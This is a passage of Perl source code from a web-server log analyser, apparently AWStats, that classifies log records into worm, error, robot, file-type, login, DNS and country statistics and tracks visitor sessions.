                                }
11378
 
                                if ( $_ =~ /^mov=(\w+)/i ) {
11379
 
                                        $foundparam++;
11380
 
                                        if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; }
11381
 
                                        next;
11382
 
                                }
11383
 
                                if ( $_ =~ /^wma=(\w+)/i ) {
11384
 
                                        $foundparam++;
11385
 
                                        if ( $1 eq 'y' ) {
11386
 
                                                $_misc_h{"WindowsMediaPlayerSupport"}++;
11387
 
                                        }
11388
 
                                        next;
11389
 
                                }
11390
 
                                if ( $_ =~ /^pdf=(\w+)/i ) {
11391
 
                                        $foundparam++;
11392
 
                                        if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; }
11393
 
                                        next;
11394
 
                                }
11395
 
                        }
11396
 
                        if ($foundparam) { $_misc_h{"TotalMisc"}++; }
11397
 
                }
11398
 
 
11399
 
                # Analyze: successful favicon (=> countedtraffic=1 if favicon)
11400
 
                #--------------------------------------------------
11401
 
                if ( $urlwithnoquery =~ /$regfavico/o ) {
11402
 
                        if ( $field[$pos_code] != 404 ) {
11403
 
                                $_misc_h{'AddToFavourites'}++;
11404
 
                        }
11405
 
                        $countedtraffic =
11406
 
                          1;    # favicon is a case that must not be counted anywhere else
11407
 
                        $_time_nv_h[$hourrecord]++;
11408
 
                        if ( $field[$pos_code] != 404 ) {
11409
 
                                $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11410
 
                        }
11411
 
                }
11412
 
 
11413
 
                # Analyze: Worms (=> countedtraffic=2 if worm)
11414
 
                #---------------------------------------------
11415
 
                if ( !$countedtraffic ) {
11416
 
                        if ($LevelForWormsDetection) {
11417
 
                                foreach (@WormsSearchIDOrder) {
11418
 
                                        if ( $field[$pos_url] =~ /$_/ ) {
11419
 
 
11420
 
                                                # It's a worm
11421
 
                                                my $worm = &UnCompileRegex($_);
11422
 
                                                if ($Debug) {
11423
 
                                                        debug(
11424
 
" Record is a hit from a worm identified by '$worm'",
11425
 
                                                                2
11426
 
                                                        );
11427
 
                                                }
11428
 
                                                $worm = $WormsHashID{$worm} || 'unknown';
11429
 
                                                $_worm_h{$worm}++;
11430
 
                                                $_worm_k{$worm} += int( $field[$pos_size] );
11431
 
                                                $_worm_l{$worm} = $timerecord;
11432
 
                                                $countedtraffic = 2;
11433
 
                                                if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11434
 
                                                $_time_nv_h[$hourrecord]++;
11435
 
                                                $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11436
 
                                                last;
11437
 
                                        }
11438
 
                                }
11439
 
                        }
11440
 
                }
11441
 
 
11442
 
                # Analyze: Status code (=> countedtraffic=3 if error)
11443
 
                #----------------------------------------------------
11444
 
                if ( !$countedtraffic ) {
11445
 
                        if ( $LogType eq 'W' || $LogType eq 'S' )
11446
 
                        {    # HTTP record or Stream record
11447
 
                                if ( $ValidHTTPCodes{ $field[$pos_code] } ) {    # Code is valid
11448
 
                                        if ( $field[$pos_code] == 304 ) { $field[$pos_size] = 0; }
11449
 
                                }
11450
 
                                else {    # Code is not valid
11451
 
                                        if ( $field[$pos_code] !~ /^\d\d\d$/ ) {
11452
 
                                                $field[$pos_code] = 999;
11453
 
                                        }
11454
 
                                        $_errors_h{ $field[$pos_code] }++;
11455
 
                                        $_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );
11456
 
                                        foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) {
11457
 
                                                if ( $field[$pos_code] == $code ) {
11458
 
 
11459
 
                                           # This is an error code which referrer need to be tracked
11460
 
                                                        my $newurl =
11461
 
                                                          substr( $field[$pos_url], 0,
11462
 
                                                                $MaxLengthOfStoredURL );
11463
 
                                                        $newurl =~ s/[$URLQuerySeparators].*$//;
11464
 
                                                        $_sider404_h{$newurl}++;
11465
 
                                                        if ( $pos_referer >= 0 ) {
11466
 
                                                                my $newreferer = $field[$pos_referer];
11467
 
                                                                if ( !$URLReferrerWithQuery ) {
11468
 
                                                                        $newreferer =~ s/[$URLQuerySeparators].*$//;
11469
 
                                                                }
11470
 
                                                                $_referer404_h{$newurl} = $newreferer;
11471
 
                                                                last;
11472
 
                                                        }
11473
 
                                                }
11474
 
                                        }
11475
 
                                        if ($Debug) {
11476
 
                                                debug(
11477
 
" Record stored in the status code chart (status code=$field[$pos_code])",
11478
 
                                                        3
11479
 
                                                );
11480
 
                                        }
11481
 
                                        $countedtraffic = 3;
11482
 
                                        if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11483
 
                                        $_time_nv_h[$hourrecord]++;
11484
 
                                        $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11485
 
                                }
11486
 
                        }
11487
 
                        elsif ( $LogType eq 'M' ) {    # Mail record
11488
 
                                if ( !$ValidSMTPCodes{ $field[$pos_code] } )
11489
 
                                {                          # Code is not valid
11490
 
                                        $_errors_h{ $field[$pos_code] }++;
11491
 
                                        if ( $field[$pos_size] ne '-' ) {
11492
 
                                                $_errors_k{ $field[$pos_code] } +=
11493
 
                                                  int( $field[$pos_size] );
11494
 
                                        }
11495
 
                                        if ($Debug) {
11496
 
                                                debug(
11497
 
" Record stored in the status code chart (status code=$field[$pos_code])",
11498
 
                                                        3
11499
 
                                                );
11500
 
                                        }
11501
 
                                        $countedtraffic = 3;
11502
 
                                        if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11503
 
                                        $_time_nv_h[$hourrecord]++;
11504
 
                                        if ( $field[$pos_size] ne '-' ) {
11505
 
                                                $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11506
 
                                        }
11507
 
                                }
11508
 
                        }
11509
 
                        elsif ( $LogType eq 'F' ) {    # FTP record
11510
 
                        }
11511
 
                }
11512
 
 
11513
 
                # Analyze: Robot from robot database (=> countedtraffic=4 if robot)
11514
 
                #------------------------------------------------------------------
11515
 
                if ( !$countedtraffic ) {
11516
 
                        if ( $pos_agent >= 0 ) {
11517
 
                                if ($DecodeUA) {
11518
 
                                        $field[$pos_agent] =~ s/%20/_/g;
11519
 
                                } # This is to support servers (like Roxen) that writes user agent with %20 in it
11520
 
                                $UserAgent = $field[$pos_agent];
11521
 
                                if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; }
11522
 
 
11523
 
                                if ($LevelForRobotsDetection) {
11524
 
 
11525
 
                                        if ($UserAgent) {
11526
 
                                                my $uarobot = $TmpRobot{$UserAgent};
11527
 
                                                if ( !$uarobot ) {
11528
 
 
11529
 
                                                        #study $UserAgent;              Does not increase speed
11530
 
                                                        foreach (@RobotsSearchIDOrder) {
11531
 
                                                                if ( $UserAgent =~ /$_/ ) {
11532
 
                                                                        my $bot = &UnCompileRegex($_);
11533
 
                                                                        $TmpRobot{$UserAgent} = $uarobot = "$bot"
11534
 
                                                                          ; # Last time, we won't search if robot or not. We know it is.
11535
 
                                                                        if ($Debug) {
11536
 
                                                                                debug(
11537
 
"  UserAgent '$UserAgent' is added to TmpRobot with value '$bot'",
11538
 
                                                                                        2
11539
 
                                                                                );
11540
 
                                                                        }
11541
 
                                                                        last;
11542
 
                                                                }
11543
 
                                                        }
11544
 
                                                        if ( !$uarobot )
11545
 
                                                        { # Last time, we won't search if robot or not. We know it's not.
11546
 
                                                                $TmpRobot{$UserAgent} = $uarobot = '-';
11547
 
                                                        }
11548
 
                                                }
11549
 
                                                if ( $uarobot ne '-' ) {
11550
 
 
11551
 
                                                        # If robot, we stop here
11552
 
                                                        if ($Debug) {
11553
 
                                                                debug(
11554
 
"  UserAgent '$UserAgent' contains robot ID '$uarobot'",
11555
 
                                                                        2
11556
 
                                                                );
11557
 
                                                        }
11558
 
                                                        $_robot_h{$uarobot}++;
11559
 
                                                        if ( $field[$pos_size] ne '-' ) {
11560
 
                                                                $_robot_k{$uarobot} += int( $field[$pos_size] );
11561
 
                                                        }
11562
 
                                                        $_robot_l{$uarobot} = $timerecord;
11563
 
                                                        if ( $urlwithnoquery =~ /$regrobot/o ) {
11564
 
                                                                $_robot_r{$uarobot}++;
11565
 
                                                        }
11566
 
                                                        $countedtraffic = 4;
11567
 
                                                        if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11568
 
                                                        $_time_nv_h[$hourrecord]++;
11569
 
                                                        if ( $field[$pos_size] ne '-' ) {
11570
 
                                                                $_time_nv_k[$hourrecord] +=
11571
 
                                                                  int( $field[$pos_size] );
11572
 
                                                        }
11573
 
                                                }
11574
 
                                        }
11575
 
                                        else {
11576
 
                                                my $uarobot = 'no_user_agent';
11577
 
 
11578
 
                                                # It's a robot or at least a bad browser, we stop here
11579
 
                                                if ($Debug) {
11580
 
                                                        debug(
11581
 
"  UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'",
11582
 
                                                                2
11583
 
                                                        );
11584
 
                                                }
11585
 
                                                $_robot_h{$uarobot}++;
11586
 
                                                $_robot_k{$uarobot} += int( $field[$pos_size] );
11587
 
                                                $_robot_l{$uarobot} = $timerecord;
11588
 
                                                if ( $urlwithnoquery =~ /$regrobot/o ) {
11589
 
                                                        $_robot_r{$uarobot}++;
11590
 
                                                }
11591
 
                                                $countedtraffic = 4;
11592
 
                                                if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11593
 
                                                $_time_nv_h[$hourrecord]++;
11594
 
                                                $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11595
 
                                        }
11596
 
                                }
11597
 
                        }
11598
 
                }
11599
 
 
11600
 
   # Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot)
11601
 
   # -------------------------------------------------------------------------
11602
 
                if ( !$countedtraffic ) {
11603
 
                        if ( $urlwithnoquery =~ /$regrobot/o ) {
11604
 
                                if ($Debug) { debug( "  It's an unknown robot", 2 ); }
11605
 
                                $_robot_h{'unknown'}++;
11606
 
                                $_robot_k{'unknown'} += int( $field[$pos_size] );
11607
 
                                $_robot_l{'unknown'} = $timerecord;
11608
 
                                $_robot_r{'unknown'}++;
11609
 
                                $countedtraffic = 5;    # Must not be counted somewhere else
11610
 
                                if ($PageBool) { $_time_nv_p[$hourrecord]++; }
11611
 
                                $_time_nv_h[$hourrecord]++;
11612
 
                                $_time_nv_k[$hourrecord] += int( $field[$pos_size] );
11613
 
                        }
11614
 
                }
11615
 
 
11616
 
                # Analyze: File type - Compression
11617
 
                #---------------------------------
11618
 
                if ( !$countedtraffic ) {
11619
 
                        if ($LevelForFileTypesDetection) {
11620
 
                                $_filetypes_h{$extension}++;
11621
 
                                if ( $field[$pos_size] ne '-' ) {
11622
 
                                        $_filetypes_k{$extension} += int( $field[$pos_size] );
11623
 
                                }
11624
 
 
11625
 
                                # Compression
11626
 
                                if ( $pos_gzipin >= 0 && $field[$pos_gzipin] )
11627
 
                                {    # If in and out in log
11628
 
                                        my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] );
11629
 
                                        my ( $notused1, $out, $notused2 ) =
11630
 
                                          split( /:/, $field[$pos_gzipout] );
11631
 
                                        if ($out) {
11632
 
                                                $_filetypes_gz_in{$extension}  += $in;
11633
 
                                                $_filetypes_gz_out{$extension} += $out;
11634
 
                                        }
11635
 
                                }
11636
 
                                elsif ( $pos_compratio >= 0
11637
 
                                        && ( $field[$pos_compratio] =~ /(\d+)/ ) )
11638
 
                                {    # Calculate in/out size from percentage
11639
 
                                        if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) {
11640
 
 
11641
 
        # with mod_gzip:    % is size (before-after)/before (low for jpg) ??????????
11642
 
                                                $_filetypes_gz_in{$extension} +=
11643
 
                                                  int(
11644
 
                                                        $field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) );
11645
 
                                        }
11646
 
                                        else {
11647
 
 
11648
 
                                           # with mod_deflate: % is size after/before (high for jpg)
11649
 
                                                $_filetypes_gz_in{$extension} +=
11650
 
                                                  int( $field[$pos_size] * 100 / ( $1 || 1 ) );
11651
 
                                        }
11652
 
                                        $_filetypes_gz_out{$extension} += int( $field[$pos_size] );
11653
 
                                }
11654
 
                        }
11655
 
 
11656
 
                        # Analyze: Date - Hour - Pages - Hits - Kilo
11657
 
                        #-------------------------------------------
11658
 
                        if ($PageBool) {
11659
 
 
11660
 
# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile)
11661
 
                                if ( @DefaultFile > 1 ) {
11662
 
                                        foreach my $elem (@DefaultFile) {
11663
 
                                                if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; }
11664
 
                                        }
11665
 
                                }
11666
 
                                else { $field[$pos_url] =~ s/$regdefault/\//o; }
11667
 
 
11668
 
# FirstTime and LastTime are First and Last human visits (so changed if access to a page)
11669
 
                                $FirstTime{$lastprocesseddate} ||= $timerecord;
11670
 
                                $LastTime{$lastprocesseddate} = $timerecord;
11671
 
                                $DayPages{$yearmonthdayrecord}++;
11672
 
                                $_url_p{ $field[$pos_url] }++;   #Count accesses for page (page)
11673
 
                                if ( $field[$pos_size] ne '-' ) {
11674
 
                                        $_url_k{ $field[$pos_url] } += int( $field[$pos_size] );
11675
 
                                }
11676
 
                                $_time_p[$hourrecord]++;    #Count accesses for hour (page)
11677
 
                                                            # TODO Use an id for hash key of url
11678
 
                                                            # $_url_t{$_url_id}
11679
 
                        }
11680
 
                        $_time_h[$hourrecord]++;
11681
 
                        $DayHits{$yearmonthdayrecord}++;    #Count accesses for hour (hit)
11682
 
                        if ( $field[$pos_size] ne '-' ) {
11683
 
                                $_time_k[$hourrecord]          += int( $field[$pos_size] );
11684
 
                                $DayBytes{$yearmonthdayrecord} +=
11685
 
                                  int( $field[$pos_size] );     #Count accesses for hour (kb)
11686
 
                        }
11687
 
 
11688
 
                        # Analyze: Login
11689
 
                        #---------------
11690
 
                        if (   $pos_logname >= 0
11691
 
                                && $field[$pos_logname]
11692
 
                                && $field[$pos_logname] ne '-' )
11693
 
                        {
11694
 
                                $field[$pos_logname] =~
11695
 
                                  s/ /_/g;    # This is to allow space in logname
11696
 
                                if ( $LogFormat eq '6' ) {
11697
 
                                        $field[$pos_logname] =~ s/^\"//;
11698
 
                                        $field[$pos_logname] =~ s/\"$//;
11699
 
                                }             # logname field has " with Domino 6+
11700
 
                                if ($AuthenticatedUsersNotCaseSensitive) {
11701
 
                                        $field[$pos_logname] = lc( $field[$pos_logname] );
11702
 
                                }
11703
 
 
11704
 
                                # We found an authenticated user
11705
 
                                if ($PageBool) {
11706
 
                                        $_login_p{ $field[$pos_logname] }++;
11707
 
                                }             #Count accesses for page (page)
11708
 
                                $_login_h{ $field[$pos_logname] }
11709
 
                                  ++;         #Count accesses for page (hit)
11710
 
                                $_login_k{ $field[$pos_logname] } +=
11711
 
                                  int( $field[$pos_size] );    #Count accesses for page (kb)
11712
 
                                $_login_l{ $field[$pos_logname] } = $timerecord;
11713
 
                        }
11714
 
                }
11715
 
 
11716
 
                # Do DNS lookup
11717
 
                #--------------
11718
 
                my $Host         = $field[$pos_host];
11719
 
                my $HostResolved = ''
11720
 
                  ; # HostResolved will be defined in next paragraf if countedtraffic is true
11721
 
 
11722
 
                if ( !$countedtraffic ) {
11723
 
                        my $ip = 0;
11724
 
                        if ($DNSLookup) {    # DNS lookup is 1 or 2
11725
 
                                if ( $Host =~ /$regipv4l/o ) {    # IPv4 lighttpd
11726
 
                                        $Host =~ s/^::ffff://;
11727
 
                                        $ip = 4;
11728
 
                                }
11729
 
                                elsif ( $Host =~ /$regipv4/o ) { $ip = 4; }    # IPv4
11730
 
                                elsif ( $Host =~ /$regipv6/o ) { $ip = 6; }    # IPv6
11731
 
                                if ($ip) {
11732
 
 
11733
 
                                        # Check in static DNS cache file
11734
 
                                        $HostResolved = $MyDNSTable{$Host};
11735
 
                                        if ($HostResolved) {
11736
 
                                                if ($Debug) {
11737
 
                                                        debug(
11738
 
"  DNS lookup asked for $Host and found in static DNS cache file: $HostResolved",
11739
 
                                                                4
11740
 
                                                        );
11741
 
                                                }
11742
 
                                        }
11743
 
                                        elsif ( $DNSLookup == 1 ) {
11744
 
 
11745
 
                   # Check in session cache (dynamic DNS cache file + session DNS cache)
11746
 
                                                $HostResolved = $TmpDNSLookup{$Host};
11747
 
                                                if ( !$HostResolved ) {
11748
 
                                                        if ( @SkipDNSLookupFor && &SkipDNSLookup($Host) ) {
11749
 
                                                                $HostResolved = $TmpDNSLookup{$Host} = '*';
11750
 
                                                                if ($Debug) {
11751
 
                                                                        debug(
11752
 
"  No need of reverse DNS lookup for $Host, skipped at user request.",
11753
 
                                                                                4
11754
 
                                                                        );
11755
 
                                                                }
11756
 
                                                        }
11757
 
                                                        else {
11758
 
                                                                if ( $ip == 4 ) {
11759
 
                                                                        my $lookupresult =
11760
 
                                                                          gethostbyaddr(
11761
 
                                                                                pack( "C4", split( /\./, $Host ) ),
11762
 
                                                                                AF_INET )
11763
 
                                                                          ; # This is very slow, may spend 20 seconds
11764
 
                                                                        if (   !$lookupresult
11765
 
                                                                                || $lookupresult =~ /$regipv4/o
11766
 
                                                                                || !IsAscii($lookupresult) )
11767
 
                                                                        {
11768
 
                                                                                $TmpDNSLookup{$Host} = $HostResolved =
11769
 
                                                                                  '*';
11770
 
                                                                        }
11771
 
                                                                        else {
11772
 
                                                                                $TmpDNSLookup{$Host} = $HostResolved =
11773
 
                                                                                  $lookupresult;
11774
 
                                                                        }
11775
 
                                                                        if ($Debug) {
11776
 
                                                                                debug(
11777
 
"  Reverse DNS lookup for $Host done: $HostResolved",
11778
 
                                                                                        4
11779
 
                                                                                );
11780
 
                                                                        }
11781
 
                                                                }
11782
 
                                                                elsif ( $ip == 6 ) {
11783
 
                                                                        if ( $PluginsLoaded{'GetResolvedIP'}
11784
 
                                                                                {'ipv6'} )
11785
 
                                                                        {
11786
 
                                                                                my $lookupresult =
11787
 
                                                                                  GetResolvedIP_ipv6($Host);
11788
 
                                                                                if (   !$lookupresult
11789
 
                                                                                        || !IsAscii($lookupresult) )
11790
 
                                                                                {
11791
 
                                                                                        $TmpDNSLookup{$Host} =
11792
 
                                                                                          $HostResolved = '*';
11793
 
                                                                                }
11794
 
                                                                                else {
11795
 
                                                                                        $TmpDNSLookup{$Host} =
11796
 
                                                                                          $HostResolved = $lookupresult;
11797
 
                                                                                }
11798
 
                                                                        }
11799
 
                                                                        else {
11800
 
                                                                                $TmpDNSLookup{$Host} = $HostResolved =
11801
 
                                                                                  '*';
11802
 
                                                                                warning(
11803
 
"Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
11804
 
                                                                                );
11805
 
                                                                        }
11806
 
                                                                }
11807
 
                                                                else { error("Bad value vor ip"); }
11808
 
                                                        }
11809
 
                                                }
11810
 
                                        }
11811
 
                                        else {
11812
 
                                                $HostResolved = '*';
11813
 
                                                if ($Debug) {
11814
 
                                                        debug(
11815
 
"  DNS lookup by static DNS cache file asked for $Host but not found.",
11816
 
                                                                4
11817
 
                                                        );
11818
 
                                                }
11819
 
                                        }
11820
 
                                }
11821
 
                                else {
11822
 
                                        if ($Debug) {
11823
 
                                                debug(
11824
 
"  DNS lookup asked for $Host but this is not an IP address.",
11825
 
                                                        4
11826
 
                                                );
11827
 
                                        }
11828
 
                                        $DNSLookupAlreadyDone = $LogFile;
11829
 
                                }
11830
 
                        }
11831
 
                        else {
11832
 
                                if ( $Host =~ /$regipv4l/o ) {
11833
 
                                        $Host =~ s/^::ffff://;
11834
 
                                        $HostResolved = '*';
11835
 
                                        $ip           = 4;
11836
 
                                }
11837
 
                                elsif ( $Host =~ /$regipv4/o ) {
11838
 
                                        $HostResolved = '*';
11839
 
                                        $ip           = 4;
11840
 
                                }    # IPv4
11841
 
                                elsif ( $Host =~ /$regipv6/o ) {
11842
 
                                        $HostResolved = '*';
11843
 
                                        $ip           = 6;
11844
 
                                }    # IPv6
11845
 
                                if ($Debug) { debug( "  No DNS lookup asked.", 4 ); }
11846
 
                        }
11847
 
 
11848
 
                        # Analyze: Country (Top-level domain)
11849
 
                        #------------------------------------
11850
 
                        if ($Debug) {
11851
 
                                debug(
11852
 
"  Search country (Host=$Host HostResolved=$HostResolved ip=$ip)",
11853
 
                                        4
11854
 
                                );
11855
 
                        }
11856
 
                        my $Domain = 'ip';
11857
 
 
11858
 
                        # Set $HostResolved to host and resolve domain
11859
 
                        if ( $HostResolved eq '*' ) {
11860
 
 
11861
 
# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address
11862
 
                                $HostResolved = $Host;
11863
 
 
11864
 
                                # Resolve Domain
11865
 
                                if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
11866
 
                                        $Domain = GetCountryCodeByAddr_geoip($HostResolved);
11867
 
                                }
11868
 
 
11869
 
#                       elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); }
11870
 
#                       elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); }
11871
 
                                elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) {
11872
 
                                        $Domain = GetCountryCodeByAddr_geoipfree($HostResolved);
11873
 
                                }
11874
 
                                if ($AtLeastOneSectionPlugin) {
11875
 
                                        foreach my $pluginname (
11876
 
                                                keys %{ $PluginsLoaded{'SectionProcessIp'} } )
11877
 
                                        {
11878
 
                                                my $function = "SectionProcessIp_$pluginname";
11879
 
                                                if ($Debug) {
11880
 
                                                        debug( "  Call to plugin function $function", 5 );
11881
 
                                                }
11882
 
                                                &$function($HostResolved);
11883
 
                                        }
11884
 
                                }
11885
 
                        }
11886
 
                        else {
11887
 
 
11888
 
# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined)
11889
 
                                $HostResolved = lc( $HostResolved ? $HostResolved : $Host );
11890
 
 
11891
 
                                # Resolve Domain
11892
 
                                if ($ip)
11893
 
                                {    # If we have ip, we use it in priority instead of hostname
11894
 
                                        if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
11895
 
                                                $Domain = GetCountryCodeByAddr_geoip($Host);
11896
 
                                        }
11897
 
 
11898
 
#                               elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
11899
 
#                               elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
11900
 
                                        elsif (
11901
 
                                                $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
11902
 
                                        {
11903
 
                                                $Domain = GetCountryCodeByAddr_geoipfree($Host);
11904
 
                                        }
11905
 
                                        elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
11906
 
                                        if ($AtLeastOneSectionPlugin) {
11907
 
                                                foreach my $pluginname (
11908
 
                                                        keys %{ $PluginsLoaded{'SectionProcessIp'} } )
11909
 
                                                {
11910
 
                                                        my $function = "SectionProcessIp_$pluginname";
11911
 
                                                        if ($Debug) {
11912
 
                                                                debug( "  Call to plugin function $function",
11913
 
                                                                        5 );
11914
 
                                                        }
11915
 
                                                        &$function($Host);
11916
 
                                                }
11917
 
                                        }
11918
 
                                }
11919
 
                                else {
11920
 
                                        if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) {
11921
 
                                                $Domain = GetCountryCodeByName_geoip($HostResolved);
11922
 
                                        }
11923
 
 
11924
 
#                               elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
11925
 
#                               elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
11926
 
                                        elsif (
11927
 
                                                $PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
11928
 
                                        {
11929
 
                                                $Domain = GetCountryCodeByName_geoipfree($HostResolved);
11930
 
                                        }
11931
 
                                        elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
11932
 
                                        if ($AtLeastOneSectionPlugin) {
11933
 
                                                foreach my $pluginname (
11934
 
                                                        keys %{ $PluginsLoaded{'SectionProcessHostname'} } )
11935
 
                                                {
11936
 
                                                        my $function = "SectionProcessHostname_$pluginname";
11937
 
                                                        if ($Debug) {
11938
 
                                                                debug( "  Call to plugin function $function",
11939
 
                                                                        5 );
11940
 
                                                        }
11941
 
                                                        &$function($HostResolved);
11942
 
                                                }
11943
 
                                        }
11944
 
                                }
11945
 
                        }
11946
 
 
11947
 
                        # Store country
11948
 
                        if ($PageBool) { $_domener_p{$Domain}++; }
11949
 
                        $_domener_h{$Domain}++;
11950
 
                        if ( $field[$pos_size] ne '-' ) {
11951
 
                                $_domener_k{$Domain} += int( $field[$pos_size] );
11952
 
                        }
11953
 
 
11954
 
                        # Analyze: Host, URL entry+exit and Session
11955
 
                        #------------------------------------------
11956
 
                        if ($PageBool) {
11957
 
                                my $timehostl = $_host_l{$HostResolved};
11958
 
                                if ($timehostl) {
11959
 
 
11960
 
# A visit for this host was already detected
11961
 
# TODO everywhere there is $VISITTIMEOUT
11962
 
#                               $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1;
11963
 
#                               if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) {
11964
 
                                        if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) {
11965
 
 
11966
 
                                                # This is a second visit or more
11967
 
                                                if ( !$_waithost_s{$HostResolved} ) {
11968
 
 
11969
 
                                                        # This is a second visit or more
11970
 
                                                        # We count 'visit','exit','entry','DayVisits'
11971
 
                                                        if ($Debug) {
11972
 
                                                                debug(
11973
 
"  This is a second visit for $HostResolved.",
11974
 
                                                                        4
11975
 
                                                                );
11976
 
                                                        }
11977
 
                                                        my $timehosts = $_host_s{$HostResolved};
11978
 
                                                        my $page      = $_host_u{$HostResolved};
11979
 
                                                        if ($page) { $_url_x{$page}++; }
11980
 
                                                        $_url_e{ $field[$pos_url] }++;
11981
 
                                                        $DayVisits{$yearmonthdayrecord}++;
11982
 
 
11983
 
                                 # We can't count session yet because we don't have the start so
11984
 
                                 # we save params of first 'wait' session
11985
 
                                                        $_waithost_l{$HostResolved} = $timehostl;
11986
 
                                                        $_waithost_s{$HostResolved} = $timehosts;
11987
 
                                                        $_waithost_u{$HostResolved} = $page;
11988
 
                                                }
11989
 
                                                else {
11990
 
 
11991
 
                                                 # This is third visit or more
11992
 
                                                 # We count 'session','visit','exit','entry','DayVisits'
11993
 
                                                        if ($Debug) {
11994
 
                                                                debug(
11995
 
"  This is a third visit or more for $HostResolved.",
11996
 
                                                                        4
11997
 
                                                                );
11998
 
                                                        }
11999
 
                                                        my $timehosts = $_host_s{$HostResolved};
12000
 
                                                        my $page      = $_host_u{$HostResolved};
12001
 
                                                        if ($page) { $_url_x{$page}++; }
12002
 
                                                        $_url_e{ $field[$pos_url] }++;
12003
 
                                                        $DayVisits{$yearmonthdayrecord}++;
12004
 
                                                        if ($timehosts) {
12005
 
                                                                $_session{ GetSessionRange( $timehosts,
12006
 
                                                                                $timehostl ) }++;
12007
 
                                                        }
12008
 
                                                }
12009
 
 
12010
 
                                                # Save new session properties
12011
 
                                                $_host_s{$HostResolved} = $timerecord;
12012
 
                                                $_host_l{$HostResolved} = $timerecord;
12013
 
                                                $_host_u{$HostResolved} = $field[$pos_url];
12014
 
                                        }
12015
 
                                        elsif ( $timerecord > $timehostl ) {
12016
 
 
12017
 
                                                # This is a same visit we can count
12018
 
                                                if ($Debug) {
12019
 
                                                        debug(
12020
 
"  This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
12021
 
                                                                4
12022
 
                                                        );
12023
 
                                                }
12024
 
                                                $_host_l{$HostResolved} = $timerecord;
12025
 
                                                $_host_u{$HostResolved} = $field[$pos_url];
12026
 
                                        }
12027
 
                                        elsif ( $timerecord == $timehostl ) {
12028
 
 
12029
 
                                                # This is a same visit we can count
12030
 
                                                if ($Debug) {
12031
 
                                                        debug(
12032
 
"  This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
12033
 
                                                                4
12034
 
                                                        );
12035
 
                                                }
12036
 
                                                $_host_u{$HostResolved} = $field[$pos_url];
12037
 
                                        }
12038
 
                                        elsif ( $timerecord < $_host_s{$HostResolved} ) {
12039
 
 
12040
 
                                           # Should happens only with not correctly sorted log files
12041
 
                                                if ($Debug) {
12042
 
                                                        debug(
12043
 
"  This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)",
12044
 
                                                                4
12045
 
                                                        );
12046
 
                                                }
12047
 
                                                if ( !$_waithost_s{$HostResolved} ) {
12048
 
 
12049
 
# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved)
12050
 
                                                        $_waithost_e{$HostResolved} = $field[$pos_url];
12051
 
                                                }
12052
 
                                                else {
12053
 
 
12054
 
# We can't change entry counted as we dont't know what was the url counted as entry
12055
 
                                                }
12056
 
                                                $_host_s{$HostResolved} = $timerecord;
12057
 
                                        }
12058
 
                                        else {
12059
 
                                                if ($Debug) {
12060
 
                                                        debug(
12061
 
"  This is same visit still running for $HostResolved with hit between start and last hits. No change",
12062
 
                                                                4
12063
 
                                                        );
12064
 
                                                }
12065
 
                                        }
12066
 
                                }
12067
 
                                else {
12068
 
 
12069
 
# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later
12070
 
                                        if ($Debug) {
12071
 
